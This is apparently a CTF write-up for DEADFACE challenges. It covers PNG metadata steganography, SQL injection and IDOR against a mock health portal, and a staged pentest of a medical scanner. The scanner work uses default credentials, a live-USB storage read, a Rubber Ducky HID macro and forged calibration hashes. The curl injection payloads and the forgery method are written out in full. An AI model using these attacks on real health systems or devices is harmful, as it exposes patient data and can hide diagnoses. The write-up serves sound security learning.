← PortfolioWriteup library
Mixed Challenges · 11 min read
On this page

DEADFACE CTF — Writeup

Challenge 1: Headshot

Category: Forensics / Steganography Flag: deadface{b00m_h34Dsh0TTT}

Description

We intercepted a DEADFACE hacker's laptop and determined he had stolen a man named Daniel's entire identity. Identify which DEADFACE member is responsible.

Files Provided

/home/arwah/Downloads/headshot/
├── headshot001.png
├── headshot002.png
├── headshot003.png
└── headshot003.png_original

All four files are 512x512 PNG images.

Solution

The presence of headshot003.png_original alongside headshot003.png is a strong hint: the third image was modified after being saved. Image edits in CTFs very often mean hidden data in metadata rather than pixel-level steganography.

Running exiftool over the directory immediately reveals the answer:

$ exiftool /home/arwah/Downloads/headshot/*.png

headshot001.png and headshot002.png are clean, but headshot003.png carries a PNG tEXt Comment chunk:

Comment                         : deadface{b00m_h34Dsh0TTT}

No pixel analysis (stegsolve, zsteg, LSB) was needed — the flag lives entirely in the file's metadata.

Flag

deadface{b00m_h34Dsh0TTT}

Takeaways


Challenge 2: Health Spark — Login (SQL Injection)

Category: Web — SQL Injection Flag: deadface{typical_and_classic}

Target: http://45.79.200.170:3000/ (Health Spark Employer Portal)

Recon

The login page is a simple username/password form posting JSON to /api/login:

{"username": "...", "password": "..."}

Reading the client-side JavaScript is the key step. The inline script contains a very deliberate hint:

if (!data.token) {
  // No session issued -- bad creds, or the SQLi disclosure (HTTP 200 with
  // no token). Show the server's message; the response body may contain
  // more than the UI chooses to display.
  showError(data.message || data.error || 'Login failed.');
}

Translation: there is SQL injection on the login, and the server leaks data in an HTTP 200 response that the UI never displays.

Exploitation

A baseline request confirms normal behavior:

$ curl -s -X POST http://45.79.200.170:3000/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"test","password":"test"}'
# HTTP 401 — {"error":"Invalid credentials", ...}

The classic tautology injection in the username field:

$ curl -s -X POST http://45.79.200.170:3000/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"'"'"' OR 1=1 -- ","password":"x"}'

Response — HTTP 200 with the first user's full database row dumped into the body:

{
  "message": "Login failed. That's weird... check the network traffic!",
  "username": "john.smith",
  "name": "John Smith",
  "role": "user",
  "departmentid": 10685,
  "password": "Locked_In_And_Ready",
  "flag": "deadface{typical_and_classic}"
}

The server never sanitizes username, concatenates it into the query, and then serializes the resulting row (including the flag column) into the JSON response. The UI only shows the message, so the flag is invisible in a browser but plain in the network traffic — exactly as the code comment promised.

Side yield: valid credentials for john.smith / Locked_In_And_Ready, which set up the next challenge.

Flag

deadface{typical_and_classic}

Takeaways


Challenge 3: Health Spark — Member Records (IDOR / Broken Access Control)

Category: Web — IDOR, Privilege Escalation via SQLi Flag: deadface{hipaa_exposure_is_bad}

Target: http://45.79.200.170:3000/dashboard

Recon

Logging in as john.smith issues a JWT (HS256):

{"sub":"john.smith","name":"John Smith","role":"user","departmentid":10685,...}

The dashboard fetches member PHI records:

const body = { departmentid: parseInt(dept, 10), FirstNameFilter: '',
               LastNameFilter: '', take: null, skip: 0 };
fetch('/api/patients', { method: 'POST',
  headers: { ..., 'Authorization': 'Bearer ' + token },
  body: JSON.stringify(body) });

Two candidate weaknesses:

  1. departmentid is taken from the request body, not from the JWT — textbook IDOR setup.
  2. An "Admin Tools" panel with a server-side photo fetcher (/api/admin/fetch-photo, potential SSRF), but it rejects non-admin tokens, and JWT alg:none tampering and a quick wordlist of weak HS256 secrets both fail.

Exploitation

Step 1 — Find other departments. Swapping departmentid to nearby values (10684, 10686, ...) returns empty member lists, so the interesting data lives in a department we don't know yet. Rather than scanning ID space, reuse the login SQLi to dump the users table. A LIKE-based payload pulls the second row:

$ curl -s -X POST http://45.79.200.170:3000/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"'"'"' OR username LIKE '"'"'%a%'"'"' -- ","password":"x"}'
{
  "username": "maria.holloway",
  "name": "Maria Holloway",
  "role": "user",
  "departmentid": 18432,
  "password": "eybrGv3YmNCxaDVSBsmZ"
}

Chained exclusion payloads (' OR username != 'john.smith' AND username != 'maria.holloway' ... --) enumerate the rest: devon.pearce and aisha.nakamura, also in department 18432.

Step 2 — Log in as maria and pull her department's records:

$ TOKEN=$(curl -s -X POST http://45.79.200.170:3000/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"maria.holloway","password":"eybrGv3YmNCxaDVSBsmZ"}' \
    | python3 -c "import json,sys; print(json.load(sys.stdin)['token'])")

$ curl -s -X POST http://45.79.200.170:3000/api/patients \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $TOKEN" \
    -d '{"departmentid":18432,"take":null,"skip":0}'

Department 18432 returns 10 full PHI records (names, SSNs, DOBs, diagnoses). One of them is planted:

{
  "name": "Patient Zero",
  "memberId": "HS-8820343",
  "ssn": "000-00-0000",
  "email": "records.exposed@example.com",
  "dob": "1990-01-01",
  "diagnosis": "deadface{hipaa_exposure_is_bad}",
  "plan": "Spark Premier PPO"
}

Root Cause

/api/patients authorizes the token but scopes the query by a departmentid supplied in the request body. The server never verifies that the requested department matches the JWT's departmentid claim, so any authenticated user can read any department's records — a direct HIPAA-grade broken access control flaw. (The injection in /api/login merely served as the recon tool to discover the target department.)

Flag

deadface{hipaa_exposure_is_bad}

Takeaways


Emedra CerebraScan CS-9000 — Medical Device Penetration Test

Target: http://emedra.dctf.io:8080/ (Emedra CerebraScan operator console, device serial EM-CS9K-04417, firmware NeuraOS 2.3.1, site stdymphna-rmc-01)

DEADFACE claims to have stolen patient records from St. Dymphna's Medical Center. The device is air-gapped, so the breach must have been physical — two impostors posing as IT. We were given the device itself for a penetration test.

The frontend is a Vite SPA. After curling the main bundle (/assets/index-CbamKmo7.js) and grepping it, the full API surface falls out:

/api/healthz      /api/device        /api/hotspot/<id>
/api/connect      /api/shell         /api/capture
/api/kiosk/login  /api/kiosk/auth    /api/kiosk/patients
/api/kiosk/scan   /api/kiosk/about   /api/kiosk/hid
/api/external-display

/api/connect takes a {tool, port} pair and returns a session token that gates the tool's specific endpoint (/api/shell, /api/kiosk/hid, /api/capture). Lazy-loaded assets (kiosk-Cww_EHUm.js, hidMacro-CuHggWtU.js, bleCapture-Dgbjk0zZ.js, ...) document how each tool window talks to the API.


Challenge 4: Kiosk Browser — Lingering Strings

Category: Web / Information Disclosure Flag: deadface{v13w_s0urc3_sav3s_l1v3s}

Solution

The kiosk login screen isn't a route — it's an API response. The SPA fetches it as raw HTML from /api/kiosk/login, so requesting it directly with curl shows markup the rendered UI never displays:

$ curl -s http://emedra.dctf.io:8080/api/kiosk/login
<div class="sw-status">Active study: <b>G.M.</b> · MRN ****13 · device locked</div>
<!-- TODO(dev): REMOVE before go-live — temporary QA technician PIN: deadface{v13w_s0urc3_sav3s_l1v3s} -->

Flag

deadface{v13w_s0urc3_sav3s_l1v3s}

Takeaways


Challenge 5: ScanWorks Login — Default Credentials

Category: Web / Hardcoded Defaults Flag: deadface{d3fault_cr3ds_n3v3r_ch4ng3d}

Solution

The asset-label hotspot (/api/hotspot/sticker) links to the vendor's own documentation: /assets/cs9000-field-service-manual.pdf. Section 2.3 of the Field Service Manual ships the factory technician account and warns to change it on first boot — the hospital never did:

Username: emedra-svc Password: ChangeMe!2019

Logging in at /api/kiosk/auth succeeds and returns the maintenance token:

$ curl -s -X POST http://emedra.dctf.io:8080/api/kiosk/auth \
    -H 'Content-Type: application/json' \
    -d '{"username":"emedra-svc","password":"ChangeMe!2019"}'
{"ok":true,"token":"ab66608d-...","tech":{"name":"Service Technician"},
 "maintenanceToken":"deadface{d3fault_cr3ds_n3v3r_ch4ng3d}"}

Flag

deadface{d3fault_cr3ds_n3v3r_ch4ng3d}

Takeaways


Challenge 6: File System — Hardcoded Keys

Category: Physical Access / Live USB / Secrets in Config Flag: deadface{h4rdc0d3d_k3ys_1n_th3_c0nf1g}

Solution

Connect the Live Linux USB-A tool (/api/connect with tool: live-linux, port: usb-a) to get a shell token for /api/shell. The live environment's README.txt states the scanner's internal storage is unencrypted:

$ lsblk                      # sda2 (31G, ext4, "scanworks-data")
$ sudo mount /dev/sda2 /mnt
$ ls /mnt/opt/scanworks      # calibration  config.yaml  logs  scanworks.bin

config.yaml contains a hardcoded upstream API key the vendor left in the commissioning config:

# Upstream API key (service account). TODO: move to secrets store before GA.
api_key: deadface{h4rdc0d3d_k3ys_1n_th3_c0nf1g}

integrity:
  salt: EM-2019          # calibration signature salt

debug_console:
  enabled: true
  function: debug.dump
  tables: [patients, calibration, audit]

Flag

deadface{h4rdc0d3d_k3ys_1n_th3_c0nf1g}

Takeaways


Challenge 7: HID — The Kiosk That Never Locked the Keyboard

Category: Hardware / HID Injection Flag: deadface{un10ck3d_k10sk_qu4cks_b4ck}

Solution

The kiosk is "just a browser in a box" — connect the Rubber Ducky to USB-A (windowType: hid-macro). The bundled asset (hidMacro-CuHggWtU.js) ships a default payload that documents the hidden console's key-chord:

DELAY 500
CTRL-ALT F12
DELAY 300
STRING <function>(<table>)
ENTER

From the debug_console block in config.yaml: function debug.dump, tables patients, calibration, audit. Fill in the STRING line and POST to /api/kiosk/hid:

{"token":"<ducky-token>","macro":"DELAY 500\nCTRL-ALT F12\nDELAY 300\nSTRING debug.dump(patients)\nENTER"}

Response:

ScanWorks debug console (NeuraOS 2.3.1)
> debug.dump(patients)
[100413] Gideon Marsh  | study: Cranial perfusion, contrast
[100666] Lenora Crane  | study: Baseline screen
[100228] Osric Vane    | study: Post-op follow-up
debug-token: deadface{un10ck3d_k10sk_qu4cks_b4ck}

Flag

deadface{un10ck3d_k10sk_qu4cks_b4ck}

Takeaways


Challenge 8: Calibration Integrity — Signature Forgery

Category: Cryptography / Patient-Safety Impact Flag: deadface{c4l1br4t10n_f0rg3ry_h4rms_l1v3s}

The Flaw

calibration/verify.py shows the "signature" is not a signature at all:

got = hashlib.sha256(data + salt.encode()).hexdigest()
# FIXME: replace with HMAC using the per-device key.

The salt is integrity.salt: EM-2019 — printed in plain text in config.yaml, which we already read off the data partition. Anyone with the config can forge a valid signature over arbitrary calibration bytes.

Exploitation

  1. Baseline (scanctl scan, genuine calibration) — the anomaly is detected:

    CALIBRATION OK (sig verified)  report_above=0.35
    Patient: Gideon Marsh (MRN 100413)  study: Cranial perfusion
    RESULT: ANOMALY DETECTED (score 0.72) — refer for radiologist review
    
  2. Tamper — write calib.json with anomaly_threshold and report_above raised to 0.99 (written via base64 -d to survive the shell's quote handling), then compute the forged signature locally:

    sig = hashlib.sha256(tampered_bytes + b"EM-2019").hexdigest()
    

    and write it to calib.json.sig.

  3. Verify + scan — the device accepts the forgery:

    $ scanctl verify
    calibration integrity: OK (signature verified)
    
    $ scanctl scan
    CALIBRATION OK (sig verified)  report_above=0.99
    Patient: Gideon Marsh (MRN 100413)  study: Cranial perfusion
    RESULT: No abnormality detected   [UNSAFE: finding 0.72 >= safe 0.35 suppressed]
    

A patient with a genuine 0.72 anomaly would be reported perfectly healthy.

Flag

deadface{c4l1br4t10n_f0rg3ry_h4rms_l1v3s}

Takeaways


Challenge 9: BLE Telemetry — Eavesdropping the Air

Category: Wireless / Passive Reconnaissance Flag: deadface{un3ncrypt3d_b4bbl3_fr0m_th3_sku11}

Solution

The Field Service Manual (§5) documents the CS-9000's BLE remote-maintenance telemetry as unauthenticated and unencrypted:

Handle Characteristic Format
0x2a Vitals telemetry binary vitals frames (6-byte payload)
0x37 Maintenance log Base64 text, chunked across seq-numbered notifies

Attach the BLE Sniffer to USB-A and pull /api/capture (bearer token from /api/connect): 96 packets — 72 boring vitals frames on 0x2a, 24 log chunks on 0x37.

Reassembly = sort by seq, concatenate hex payloads, Base64-decode:

St.Dymphna CS-9000 maint log | site=stdymphna-rmc-01 | tech=emedra-svc
last_patient: Gideon Marsh (MRN 100413)
note: telemetry unencrypted per EM-2019 default; flag deadface{un3ncrypt3d_b4bbl3_fr0m_th3_sku11}

Flag

deadface{un3ncrypt3d_b4bbl3_fr0m_th3_sku11}

Takeaways


Attack-Chain Summary (eMedra CS-9000)

  1. Recon — SPA bundles expose the full API; service manual is public.
  2. Entry — default tech account (emedra-svc / ChangeMe!2019).
  3. Persistence/recon on-device — unencrypted storage + hardcoded API key and signature salt readable off the data partition via a live USB.
  4. Lateral access — HID injection opens an unauthenticated debug console (CTRL-ALT F12 → debug.dump(patients)).
  5. Patient-safety impact — trivially forged calibration "signature" suppresses real anomaly findings.
  6. Passive exfiltration — unencrypted BLE leaks patient and maintenance data to anyone nearby.

DEADFACE never needed to defeat a single real security control — every "check" they bypassed was either a default, a comment, or a hash without a secret.

← All writeups